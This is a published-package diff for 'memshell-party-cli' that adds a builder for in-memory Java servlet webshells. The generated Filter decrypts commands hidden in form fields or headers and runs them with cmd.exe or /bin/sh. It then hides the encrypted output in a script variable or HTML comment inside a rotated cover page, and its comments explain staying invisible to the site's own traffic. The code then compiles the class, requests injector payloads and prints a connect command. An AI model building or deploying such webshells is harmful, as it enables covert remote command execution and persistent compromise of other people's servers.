memshell-party-cli 0.4.0 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +670 -81
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +197 -1
- package/dist/index.js +479 -0
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/resources/javax.servlet-api-3.1.0.jar +0 -0
- package/skills/memshell-party/SKILL.md +62 -40
package/dist/index.js
CHANGED
|
@@ -2634,32 +2634,511 @@ async function startMcpStdio(client) {
|
|
|
2634
2634
|
const transport = new StdioServerTransport();
|
|
2635
2635
|
await server.connect(transport);
|
|
2636
2636
|
}
|
|
2637
|
+
|
|
2638
|
+
// src/connect/mimic-codecs.ts
|
|
2639
|
+
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
2640
|
+
var LEGACY_CIPHER = {
|
|
2641
|
+
algorithm: "aes-ecb",
|
|
2642
|
+
encoding: "base64",
|
|
2643
|
+
padTail: false,
|
|
2644
|
+
marker: "js-var"
|
|
2645
|
+
};
|
|
2646
|
+
function resolveCipher(partial) {
|
|
2647
|
+
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
2648
|
+
}
|
|
2649
|
+
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2650
|
+
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2651
|
+
if (cipher.marker === "html-comment") {
|
|
2652
|
+
const left2 = `<!--Re${id}_config:`;
|
|
2653
|
+
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2654
|
+
}
|
|
2655
|
+
const left = `var Re${id}_config="`;
|
|
2656
|
+
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2657
|
+
}
|
|
2658
|
+
|
|
2659
|
+
// src/custom/build.ts
|
|
2660
|
+
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
|
|
2661
|
+
import { join as join6 } from "path";
|
|
2662
|
+
|
|
2663
|
+
// src/core/site-profile.ts
|
|
2664
|
+
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
|
|
2665
|
+
import { homedir as homedir4 } from "os";
|
|
2666
|
+
import { join as join5 } from "path";
|
|
2667
|
+
function profileTemplates(profile) {
|
|
2668
|
+
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
2669
|
+
return profile.templates;
|
|
2670
|
+
}
|
|
2671
|
+
if (profile.template) {
|
|
2672
|
+
return [
|
|
2673
|
+
{
|
|
2674
|
+
title: profile.title ?? "",
|
|
2675
|
+
template: profile.template,
|
|
2676
|
+
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
2677
|
+
}
|
|
2678
|
+
];
|
|
2679
|
+
}
|
|
2680
|
+
return [];
|
|
2681
|
+
}
|
|
2682
|
+
function profileRequests(profile) {
|
|
2683
|
+
if (!profile.request) return [];
|
|
2684
|
+
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
2685
|
+
}
|
|
2686
|
+
|
|
2687
|
+
// src/custom/java-template.ts
|
|
2688
|
+
function javaStringLiteral(s) {
|
|
2689
|
+
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2690
|
+
}
|
|
2691
|
+
var MD5_METHOD = String.raw`
|
|
2692
|
+
static String md5Hex(String s) throws Exception {
|
|
2693
|
+
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
2694
|
+
byte[] d = m.digest(s.getBytes("UTF-8"));
|
|
2695
|
+
StringBuilder sb = new StringBuilder();
|
|
2696
|
+
for (byte b : d) sb.append(String.format("%02x", b & 0xff));
|
|
2697
|
+
return sb.toString();
|
|
2698
|
+
}
|
|
2699
|
+
`;
|
|
2700
|
+
function cryptMethod(algorithm) {
|
|
2701
|
+
switch (algorithm) {
|
|
2702
|
+
case "aes-ecb":
|
|
2703
|
+
return String.raw`
|
|
2704
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2705
|
+
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
|
|
2706
|
+
c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
|
|
2707
|
+
new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
|
|
2708
|
+
return c.doFinal(data);
|
|
2709
|
+
}
|
|
2710
|
+
`;
|
|
2711
|
+
case "aes-cbc":
|
|
2712
|
+
return String.raw`
|
|
2713
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2714
|
+
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
|
2715
|
+
SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
|
|
2716
|
+
if (enc) {
|
|
2717
|
+
byte[] iv = new byte[16];
|
|
2718
|
+
new java.security.SecureRandom().nextBytes(iv);
|
|
2719
|
+
c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
|
|
2720
|
+
byte[] ct = c.doFinal(data);
|
|
2721
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2722
|
+
bos.write(iv);
|
|
2723
|
+
bos.write(ct);
|
|
2724
|
+
return bos.toByteArray();
|
|
2725
|
+
}
|
|
2726
|
+
c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
|
|
2727
|
+
return c.doFinal(data, 16, data.length - 16);
|
|
2728
|
+
}
|
|
2729
|
+
`;
|
|
2730
|
+
case "xor":
|
|
2731
|
+
return String.raw`
|
|
2732
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2733
|
+
byte[] k = key.getBytes("UTF-8");
|
|
2734
|
+
byte[] out = new byte[data.length];
|
|
2735
|
+
for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
|
|
2736
|
+
return out;
|
|
2737
|
+
}
|
|
2738
|
+
`;
|
|
2739
|
+
}
|
|
2740
|
+
}
|
|
2741
|
+
function encDecMethods(encoding) {
|
|
2742
|
+
switch (encoding) {
|
|
2743
|
+
case "base64":
|
|
2744
|
+
return String.raw`
|
|
2745
|
+
static String enc(byte[] data) {
|
|
2746
|
+
return java.util.Base64.getEncoder().encodeToString(data);
|
|
2747
|
+
}
|
|
2748
|
+
static byte[] dec(String s) {
|
|
2749
|
+
return java.util.Base64.getDecoder().decode(s);
|
|
2750
|
+
}
|
|
2751
|
+
`;
|
|
2752
|
+
case "base64url":
|
|
2753
|
+
return String.raw`
|
|
2754
|
+
static String enc(byte[] data) {
|
|
2755
|
+
return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
|
|
2756
|
+
}
|
|
2757
|
+
static byte[] dec(String s) {
|
|
2758
|
+
return java.util.Base64.getUrlDecoder().decode(s);
|
|
2759
|
+
}
|
|
2760
|
+
`;
|
|
2761
|
+
case "hex":
|
|
2762
|
+
return String.raw`
|
|
2763
|
+
static String enc(byte[] data) {
|
|
2764
|
+
StringBuilder sb = new StringBuilder();
|
|
2765
|
+
for (byte b : data) sb.append(String.format("%02x", b & 0xff));
|
|
2766
|
+
return sb.toString();
|
|
2767
|
+
}
|
|
2768
|
+
static byte[] dec(String s) {
|
|
2769
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2770
|
+
for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
|
|
2771
|
+
return bos.toByteArray();
|
|
2772
|
+
}
|
|
2773
|
+
`;
|
|
2774
|
+
}
|
|
2775
|
+
}
|
|
2776
|
+
var PAD_METHODS = String.raw`
|
|
2777
|
+
static int padLen(String aesKey) throws Exception {
|
|
2778
|
+
return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
|
|
2779
|
+
}
|
|
2780
|
+
static String appendPad(String s, String aesKey) throws Exception {
|
|
2781
|
+
int n = padLen(aesKey);
|
|
2782
|
+
StringBuilder sb = new StringBuilder(s);
|
|
2783
|
+
java.util.Random r = new java.util.Random();
|
|
2784
|
+
for (int i = 0; i < n; i++) {
|
|
2785
|
+
sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
|
|
2786
|
+
}
|
|
2787
|
+
return sb.toString();
|
|
2788
|
+
}
|
|
2789
|
+
static String stripPad(String s, String aesKey) throws Exception {
|
|
2790
|
+
int n = padLen(aesKey);
|
|
2791
|
+
return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
|
|
2792
|
+
}
|
|
2793
|
+
`;
|
|
2794
|
+
function fieldTransforms(cipher) {
|
|
2795
|
+
const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
|
|
2796
|
+
const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
|
|
2797
|
+
return `
|
|
2798
|
+
static String encryptField(byte[] plain, String aesKey) throws Exception {
|
|
2799
|
+
String s = enc(crypt(plain, aesKey, true));
|
|
2800
|
+
return ${afterEncode};
|
|
2801
|
+
}
|
|
2802
|
+
static byte[] decryptField(String v, String aesKey) throws Exception {
|
|
2803
|
+
String s = ${beforeDecode};
|
|
2804
|
+
return crypt(dec(s), aesKey, false);
|
|
2805
|
+
}
|
|
2806
|
+
`;
|
|
2807
|
+
}
|
|
2808
|
+
function wrapPayloadMethod(marker) {
|
|
2809
|
+
if (marker === "html-comment") {
|
|
2810
|
+
return String.raw`
|
|
2811
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2812
|
+
return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
|
|
2813
|
+
}
|
|
2814
|
+
`;
|
|
2815
|
+
}
|
|
2816
|
+
return String.raw`
|
|
2817
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2818
|
+
return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
|
|
2819
|
+
}
|
|
2820
|
+
`;
|
|
2821
|
+
}
|
|
2822
|
+
function sharedMethods(cipher) {
|
|
2823
|
+
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2824
|
+
}
|
|
2825
|
+
function renderFilterJava(opts) {
|
|
2826
|
+
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
2827
|
+
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2828
|
+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
|
|
2829
|
+
return `package mimic;
|
|
2830
|
+
|
|
2831
|
+
import java.io.*;
|
|
2832
|
+
import java.security.MessageDigest;
|
|
2833
|
+
import javax.crypto.Cipher;
|
|
2834
|
+
import javax.crypto.spec.IvParameterSpec;
|
|
2835
|
+
import javax.crypto.spec.SecretKeySpec;
|
|
2836
|
+
import javax.servlet.*;
|
|
2837
|
+
import javax.servlet.http.*;
|
|
2838
|
+
|
|
2839
|
+
/**
|
|
2840
|
+
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2841
|
+
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2842
|
+
*
|
|
2843
|
+
* Detection uses getParameter()/getHeader() only, never reads the body
|
|
2844
|
+
* stream: form posts are parsed+cached by the container so downstream
|
|
2845
|
+
* getParameter() callers still work, and raw-body posts (Behinder) keep an
|
|
2846
|
+
* untouched body stream for the shell behind us. Anything that is not ours
|
|
2847
|
+
* falls through chain.doFilter; any error answers with the cover page.
|
|
2848
|
+
*/
|
|
2849
|
+
public class ${className} implements Filter {
|
|
2850
|
+
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2851
|
+
static final String[] FIELDS = { ${fieldsJava} };
|
|
2852
|
+
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2853
|
+
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2854
|
+
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2855
|
+
/** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
|
|
2856
|
+
static final String[] TPLS = {
|
|
2857
|
+
${tplsJava}
|
|
2858
|
+
};
|
|
2859
|
+
|
|
2860
|
+
public void init(FilterConfig filterConfig) {}
|
|
2861
|
+
public void destroy() {}
|
|
2862
|
+
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
2863
|
+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2864
|
+
throws IOException, ServletException {
|
|
2865
|
+
String value = null;
|
|
2866
|
+
for (String f : FIELDS) {
|
|
2867
|
+
value = request.getParameter(f);
|
|
2868
|
+
if (value == null && request instanceof HttpServletRequest) {
|
|
2869
|
+
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2870
|
+
value = ((HttpServletRequest) request).getHeader(f);
|
|
2871
|
+
}
|
|
2872
|
+
if (value != null) break;
|
|
2873
|
+
}
|
|
2874
|
+
if (value == null) {
|
|
2875
|
+
chain.doFilter(request, response);
|
|
2876
|
+
return;
|
|
2877
|
+
}
|
|
2878
|
+
String aesKey;
|
|
2879
|
+
byte[] cmd;
|
|
2880
|
+
try {
|
|
2881
|
+
aesKey = md5Hex(SECRET).substring(0, 16);
|
|
2882
|
+
cmd = decryptField(value, aesKey);
|
|
2883
|
+
} catch (Exception notOurs) {
|
|
2884
|
+
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2885
|
+
// legitimate form (e.g. the real login POST), stay invisible
|
|
2886
|
+
chain.doFilter(request, response);
|
|
2887
|
+
return;
|
|
2888
|
+
}
|
|
2889
|
+
String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
|
|
2890
|
+
try {
|
|
2891
|
+
String command = new String(cmd, "UTF-8");
|
|
2892
|
+
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
2893
|
+
ProcessBuilder pb = win
|
|
2894
|
+
? new ProcessBuilder("cmd.exe", "/c", command)
|
|
2895
|
+
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2896
|
+
pb.redirectErrorStream(true);
|
|
2897
|
+
Process proc = pb.start();
|
|
2898
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2899
|
+
InputStream in = proc.getInputStream();
|
|
2900
|
+
byte[] buf = new byte[8192];
|
|
2901
|
+
int n;
|
|
2902
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2903
|
+
proc.waitFor();
|
|
2904
|
+
String payload = encryptField(bos.toByteArray(), aesKey);
|
|
2905
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
2906
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
2907
|
+
String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
2908
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2909
|
+
response.setCharacterEncoding("UTF-8");
|
|
2910
|
+
response.getWriter().write(page);
|
|
2911
|
+
} catch (Exception e) {
|
|
2912
|
+
// behave like the cover page on any error \u2014 stay quiet
|
|
2913
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2914
|
+
response.getWriter().write(tpl);
|
|
2915
|
+
}
|
|
2916
|
+
}
|
|
2917
|
+
}
|
|
2918
|
+
`;
|
|
2919
|
+
}
|
|
2920
|
+
function renderCryptoProbe(cipher) {
|
|
2921
|
+
return `import java.io.*;
|
|
2922
|
+
import java.security.MessageDigest;
|
|
2923
|
+
import javax.crypto.Cipher;
|
|
2924
|
+
import javax.crypto.spec.IvParameterSpec;
|
|
2925
|
+
import javax.crypto.spec.SecretKeySpec;
|
|
2926
|
+
|
|
2927
|
+
/** Cross-language test harness \u2014 shares every snippet with the mimic filter. */
|
|
2928
|
+
public class CryptoProbe {
|
|
2929
|
+
${sharedMethods(cipher)}
|
|
2930
|
+
static String bytesToHex(byte[] data) {
|
|
2931
|
+
StringBuilder sb = new StringBuilder();
|
|
2932
|
+
for (byte b : data) sb.append(String.format("%02x", b & 0xff));
|
|
2933
|
+
return sb.toString();
|
|
2934
|
+
}
|
|
2935
|
+
static byte[] hexToBytes(String s) {
|
|
2936
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2937
|
+
for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
|
|
2938
|
+
return bos.toByteArray();
|
|
2939
|
+
}
|
|
2940
|
+
|
|
2941
|
+
public static void main(String[] args) throws Exception {
|
|
2942
|
+
String aesKey = md5Hex(args[1]).substring(0, 16);
|
|
2943
|
+
if ("enc".equals(args[0])) {
|
|
2944
|
+
// hex plaintext on argv -> wire value on stdout
|
|
2945
|
+
System.out.println(encryptField(hexToBytes(args[2]), aesKey));
|
|
2946
|
+
} else {
|
|
2947
|
+
// wire value on argv -> hex plaintext on stdout
|
|
2948
|
+
System.out.println(bytesToHex(decryptField(args[2], aesKey)));
|
|
2949
|
+
}
|
|
2950
|
+
}
|
|
2951
|
+
}
|
|
2952
|
+
`;
|
|
2953
|
+
}
|
|
2954
|
+
|
|
2955
|
+
// src/custom/javac.ts
|
|
2956
|
+
import { execFileSync } from "child_process";
|
|
2957
|
+
import { existsSync as existsSync5 } from "fs";
|
|
2958
|
+
import { fileURLToPath } from "url";
|
|
2959
|
+
function servletApiJar() {
|
|
2960
|
+
const candidates = [
|
|
2961
|
+
new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
|
|
2962
|
+
// dist/*.js
|
|
2963
|
+
new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
|
|
2964
|
+
// src/custom/*.ts
|
|
2965
|
+
];
|
|
2966
|
+
for (const candidate of candidates) {
|
|
2967
|
+
const p = fileURLToPath(candidate);
|
|
2968
|
+
if (existsSync5(p)) return p;
|
|
2969
|
+
}
|
|
2970
|
+
throw new Error(
|
|
2971
|
+
"bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
|
|
2972
|
+
);
|
|
2973
|
+
}
|
|
2974
|
+
function findJavac() {
|
|
2975
|
+
try {
|
|
2976
|
+
execFileSync("javac", ["-version"], { stdio: "pipe" });
|
|
2977
|
+
return "javac";
|
|
2978
|
+
} catch {
|
|
2979
|
+
throw new Error(
|
|
2980
|
+
"javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
|
|
2981
|
+
);
|
|
2982
|
+
}
|
|
2983
|
+
}
|
|
2984
|
+
function hasJavac() {
|
|
2985
|
+
try {
|
|
2986
|
+
findJavac();
|
|
2987
|
+
return true;
|
|
2988
|
+
} catch {
|
|
2989
|
+
return false;
|
|
2990
|
+
}
|
|
2991
|
+
}
|
|
2992
|
+
function compileJava(sources, outDir, opts = {}) {
|
|
2993
|
+
const javac = findJavac();
|
|
2994
|
+
const args = ["-encoding", "UTF-8", "--release", "8"];
|
|
2995
|
+
if (opts.classpath && opts.classpath.length > 0) {
|
|
2996
|
+
args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
|
|
2997
|
+
}
|
|
2998
|
+
args.push("-d", outDir, ...sources);
|
|
2999
|
+
execFileSync(javac, args, { stdio: "pipe" });
|
|
3000
|
+
}
|
|
3001
|
+
|
|
3002
|
+
// src/custom/build.ts
|
|
3003
|
+
function profileSecretFields(profile) {
|
|
3004
|
+
const shapes = profileRequests(profile);
|
|
3005
|
+
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
3006
|
+
return fields.length > 0 ? fields : ["pass"];
|
|
3007
|
+
}
|
|
3008
|
+
function defaultClassName() {
|
|
3009
|
+
return `MimicFilter${randomString(4)}`;
|
|
3010
|
+
}
|
|
3011
|
+
async function buildCustomMemshell(input, client, deps = {}) {
|
|
3012
|
+
const compile = deps.compile ?? compileJava;
|
|
3013
|
+
const jarOf = deps.servletJar ?? servletApiJar;
|
|
3014
|
+
const className = input.className ?? defaultClassName();
|
|
3015
|
+
const shellType = input.shellType ?? "Filter";
|
|
3016
|
+
const urlPattern = input.urlPattern ?? "/*";
|
|
3017
|
+
const packer = input.packer ?? "DefaultBase64";
|
|
3018
|
+
const cipher = resolveCipher(input.profile.cipher);
|
|
3019
|
+
const templates = profileTemplates(input.profile).map((t) => t.template);
|
|
3020
|
+
if (templates.length === 0) {
|
|
3021
|
+
throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
3022
|
+
}
|
|
3023
|
+
const outDir = input.outDir;
|
|
3024
|
+
const packageDir = join6(outDir, "mimic");
|
|
3025
|
+
mkdirSync4(packageDir, { recursive: true });
|
|
3026
|
+
const javaSource = renderFilterJava({
|
|
3027
|
+
className,
|
|
3028
|
+
pass: input.pass,
|
|
3029
|
+
secret: input.secret,
|
|
3030
|
+
fields: profileSecretFields(input.profile),
|
|
3031
|
+
templates,
|
|
3032
|
+
cipher
|
|
3033
|
+
});
|
|
3034
|
+
const javaFile = join6(packageDir, `${className}.java`);
|
|
3035
|
+
writeFileSync5(javaFile, javaSource, "utf8");
|
|
3036
|
+
compile([javaFile], outDir, { classpath: [jarOf()] });
|
|
3037
|
+
const classFile = join6(packageDir, `${className}.class`);
|
|
3038
|
+
const shellClassBase64 = readFileSync6(classFile).toString("base64");
|
|
3039
|
+
const response = await client.generateMemShell({
|
|
3040
|
+
shellConfig: {
|
|
3041
|
+
server: input.server,
|
|
3042
|
+
shellTool: "Custom",
|
|
3043
|
+
shellType,
|
|
3044
|
+
targetJreVersion: resolveJreVersion(input.jdk ?? "java8")
|
|
3045
|
+
},
|
|
3046
|
+
shellToolConfig: {
|
|
3047
|
+
shellClassName: `mimic.${className}`,
|
|
3048
|
+
shellClassBase64
|
|
3049
|
+
},
|
|
3050
|
+
injectorConfig: { urlPattern },
|
|
3051
|
+
packer
|
|
3052
|
+
});
|
|
3053
|
+
const payloads = {};
|
|
3054
|
+
if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
|
|
3055
|
+
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
3056
|
+
const file = join6(outDir, `payload-${name}.txt`);
|
|
3057
|
+
writeFileSync5(file, `${value}
|
|
3058
|
+
`, "utf8");
|
|
3059
|
+
payloads[name] = file;
|
|
3060
|
+
}
|
|
3061
|
+
} else if (response.packResult !== void 0) {
|
|
3062
|
+
const file = join6(outDir, "payload.txt");
|
|
3063
|
+
writeFileSync5(file, `${response.packResult}
|
|
3064
|
+
`, "utf8");
|
|
3065
|
+
payloads[packer] = file;
|
|
3066
|
+
}
|
|
3067
|
+
const result = {
|
|
3068
|
+
className,
|
|
3069
|
+
fullClassName: `mimic.${className}`,
|
|
3070
|
+
injectorClassName: response.memShellResult.injectorClassName,
|
|
3071
|
+
packer,
|
|
3072
|
+
server: input.server,
|
|
3073
|
+
shellType,
|
|
3074
|
+
urlPattern,
|
|
3075
|
+
pass: input.pass,
|
|
3076
|
+
secret: input.secret,
|
|
3077
|
+
cipher,
|
|
3078
|
+
response,
|
|
3079
|
+
files: {
|
|
3080
|
+
java: javaFile,
|
|
3081
|
+
classFile,
|
|
3082
|
+
manifest: join6(outDir, "manifest.json"),
|
|
3083
|
+
payloads
|
|
3084
|
+
}
|
|
3085
|
+
};
|
|
3086
|
+
const manifest = {
|
|
3087
|
+
tool: "mimic",
|
|
3088
|
+
createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
3089
|
+
profile: input.profile.name,
|
|
3090
|
+
server: result.server,
|
|
3091
|
+
shellType: result.shellType,
|
|
3092
|
+
urlPattern: result.urlPattern,
|
|
3093
|
+
packer: result.packer,
|
|
3094
|
+
className: result.fullClassName,
|
|
3095
|
+
injectorClassName: result.injectorClassName,
|
|
3096
|
+
pass: result.pass,
|
|
3097
|
+
key: result.secret,
|
|
3098
|
+
cipher: result.cipher,
|
|
3099
|
+
note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
|
|
3100
|
+
connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,
|
|
3101
|
+
files: result.files
|
|
3102
|
+
};
|
|
3103
|
+
writeFileSync5(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
|
|
3104
|
+
`, "utf8");
|
|
3105
|
+
return result;
|
|
3106
|
+
}
|
|
2637
3107
|
export {
|
|
2638
3108
|
ApiError,
|
|
2639
3109
|
CLI_VERSION,
|
|
2640
3110
|
DEFAULT_API_URL,
|
|
2641
3111
|
ENV_VAR,
|
|
2642
3112
|
JDK_VERSIONS,
|
|
3113
|
+
LEGACY_CIPHER,
|
|
2643
3114
|
MemPartyClient,
|
|
2644
3115
|
OUTPUT_LIMIT,
|
|
2645
3116
|
autoSaveShell,
|
|
3117
|
+
buildCustomMemshell,
|
|
2646
3118
|
buildMemShellRequest,
|
|
2647
3119
|
buildProbeRequest,
|
|
2648
3120
|
createMcpServer,
|
|
3121
|
+
defaultClassName,
|
|
3122
|
+
deriveMarkers,
|
|
2649
3123
|
emitPayload,
|
|
2650
3124
|
execBehinder,
|
|
2651
3125
|
execGodzilla,
|
|
2652
3126
|
formatOp,
|
|
2653
3127
|
getProject,
|
|
3128
|
+
hasJavac,
|
|
2654
3129
|
listProjects,
|
|
2655
3130
|
logOp,
|
|
2656
3131
|
marshalFrameBase64,
|
|
2657
3132
|
marshalSuo5Map,
|
|
2658
3133
|
opLogPath,
|
|
3134
|
+
profileSecretFields,
|
|
2659
3135
|
readOps,
|
|
2660
3136
|
removeProject,
|
|
2661
3137
|
removeShell,
|
|
3138
|
+
renderCryptoProbe,
|
|
3139
|
+
renderFilterJava,
|
|
2662
3140
|
resolveApiUrl,
|
|
3141
|
+
resolveCipher,
|
|
2663
3142
|
resolveConnection,
|
|
2664
3143
|
resolveJreVersion,
|
|
2665
3144
|
saveProjectMeta,
|